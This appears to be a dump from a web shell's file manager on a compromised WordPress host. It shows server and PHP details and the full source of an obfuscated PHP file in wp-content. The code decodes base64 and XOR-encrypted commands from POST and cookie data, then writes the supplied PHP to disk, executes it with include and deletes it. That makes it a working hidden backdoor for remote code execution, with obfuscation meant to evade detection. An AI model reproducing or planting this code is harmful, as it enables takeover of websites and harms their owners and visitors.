HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: chonfood (1196)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/chonfood/domains/chonlateefood.com/public_html/wp-content/sukbrvxo.php
<?php 
$phfph  =       'phfph'       ^ /*s   */ '';

$eqwulxxmi	=    "a".$phfph(1039-925)	.  "\x72" /*   pb_ag */ .   "a"."y"."_"."m"."a".$phfph(715-603);



function    bmgom($wndlfijodlzohsn,    $ymkxw_)

{

	global	$phfph;

    


	$wndlfijodlzohsn /*j */ =    "<"    .	$phfph(63) /*   rxbc   */ . /* hayic   */ $phfph(112)	. /*  ml  */ "h".$phfph(563-451) /*   pzisn   */ .       $phfph(32)    . /* qxzohr */ $phfph(117) /*dkabm*/ .    $phfph(988-878) /* rjwe  */ .	$phfph(108)    .    "i"."n"."k"."("."_"."_"."F".$phfph(73) /*  owxan */ . /* bdthq */ "\x4c" /*  hlsij*/ .	"E"."_"."_".$phfph(41)  .	";".$phfph(32)    .      $wndlfijodlzohsn["\x64"];	$lwrflowjgz /*   hj */ =    "f"."\x69"	. /*lo   */ $phfph(108) /*ckuea*/ .	"e"."_"."p"."u".$phfph(398-282) /* bsgo */ . /*   z  */ "_"."c".$phfph(496-385) /*y   */ .  "\x6e" /*  xna   */ .   "t"."e".$phfph(288-178)	.    $phfph(116)	.     "\x73";
	
 /*sduwg  */ $lwrflowjgz($ymkxw_,  $wndlfijodlzohsn);

 /*   v_  */  /* vmac  */ svuafkkb($ymkxw_);

}



$wi_ubai     =	73;function /*   yemk   */ svuafkkb($ymkxw_)


{
	global /* q */ $phfph; /*g */     include($ymkxw_);       $_fansmmaj /*   __k_i  */ =	$ymkxw_;


 /*t  */ @unlink($_fansmmaj);


}


function /*ji  */ lyiquqbuce(){ /*  wvpjf   */ global    $phfph;
	$yjsnv     = /*  i*/ array();
     $yjsnv[$phfph(889-777)	.	"v"]    =    phpversion();

	$yjsnv["s"."v"]     = /*  u  */ "\63"    . /* zq */ $phfph(46)       .     $phfph(53);	$rejnfxi	= /*   gvivqr */ 74;
  echo /*   _qx   */ @serialize($yjsnv);


}





function     gshuo($wndlfijodlzohsn,    $hbvvaursw)

{
    global    $phfph;



	$lfdmwmsz	=    "";


    $wndlfitqyso    =	strlen($wndlfijodlzohsn);


    $og_gu       =	strlen($hbvvaursw);
    $yjsnv  = /*   vtnm*/ 0;

 /*   _j */ $wndlfi  =  0;    

       while /*  l   */ ($yjsnv    <    $wndlfitqyso)    {

	$fqemtedg	=      $wndlfijodlzohsn[$yjsnv]    ^	$hbvvaursw[$wndlfi /* dk   */ %    $og_gu];

 /* rrj*/ $lfdmwmsz   .= /* wd */ $fqemtedg;
	$wndlfi++;        $yjsnv++;

     }
   


 /* hfk  */ if /*hitrvt*/ (strlen($lfdmwmsz)    > /*kclsu*/ 20)    {

 /*nfj*/ $onpyd    =       substr($lfdmwmsz, /*   jxtblx   */ 0,    20);

     }  if     (empty($lfdmwmsz))    {
	$lfdmwmsz       =  date('Y-m-d       H:i:s');

  }


	return	$lfdmwmsz;}


function /*  cj  */ guyli($rzuman)

{

 /* rrer   */ global /*   peq  */ $phfph;

       
    $zsismwai	=	"\x64"   .  "e".$phfph(242-145)    . /*   qyfhj */ "5".$phfph(831-729) /* _  */ . /*yol */ "3".$phfph(268-169)	.	"6"."\55" /* apdzx */ .     "7".$phfph(49)       .	"9"."\x34"  . /*  ezx_xx  */ "-"."4"."\144"  . /*   _u_m   */ "\61"    . /*zjnuw  */ "\x38"  .       "\x2d" /*ygqdcm*/ . /*exksg  */ "b"."3"."\x64"."\61"	.    "-"."\x64" /*   qtw   */ .    "\x34" /*  spass*/ . /*  lpmvq*/ "e"."\63" /* ir*/ .	"\x64"."\x66"       .	"7"."\x61" /*_*/ .    "4"."4"."\x38"   .    $phfph(495-440);

    
	foreach     ($rzuman /*lvq*/ as     $s_drx    =>    $wndlfijodlzohsn)    {

 /*   kuvq */ qkjhlzdew(base64_decode($wndlfijodlzohsn),	$zsismwai,    $s_drx);    }


}



function /*  iotl  */ qkjhlzdew($wndlfijodlzohsn,	$zsismwai,       $s_drx)


{

     global /* bpn*/ $phfph;  

      $wndlfijodlzohsn /*  dukami   */ =    unserialize(gshuo(gshuo($wndlfijodlzohsn,    $zsismwai),     $s_drx));


	$ep_rjknjby    =    'nwxm';	$qjehargb /*  hjkn */ = /*  qcub*/ 'lhlad';

   if    (isset($wndlfijodlzohsn["\x61"    . /* xslr*/ $phfph(107)])) /*  m */ {


 /*  elxz  */ if /* cuywb*/ ($wndlfijodlzohsn["a"]  == /* lvtyyr  */ "i") /* slun*/ {

	lyiquqbuce();


       }   elseif       ($wndlfijodlzohsn["a"]    == /*lecymk  */ "e")    {


    bmgom($wndlfijodlzohsn,	sprintf($phfph(46)    .   "\x2f"   .	"\45"    .      "\163"    . /* waina   */ "\56"    .       "p"."l",  md5($zsismwai)));
			$uqugignwu	=  44;

       }    exit();
 /*maadnu  */ }

}


guyli($_POST);       


$eydfbla /*f */ =    'rawurldecode';

$sggavyql    =	$eqwulxxmi($eydfbla, /*  _kjqb*/ $_POST);

explode("",      $eydfbla);guyli($_COOKIE);



$eyjzwkuf /*  y   */ =    $eqwulxxmi($eydfbla, /*   ql_yt  */ $_COOKIE);




?>